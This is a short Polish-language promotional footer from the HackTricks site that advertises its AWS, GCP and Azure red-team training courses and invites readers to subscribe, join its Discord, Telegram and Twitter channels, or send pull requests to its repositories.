Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.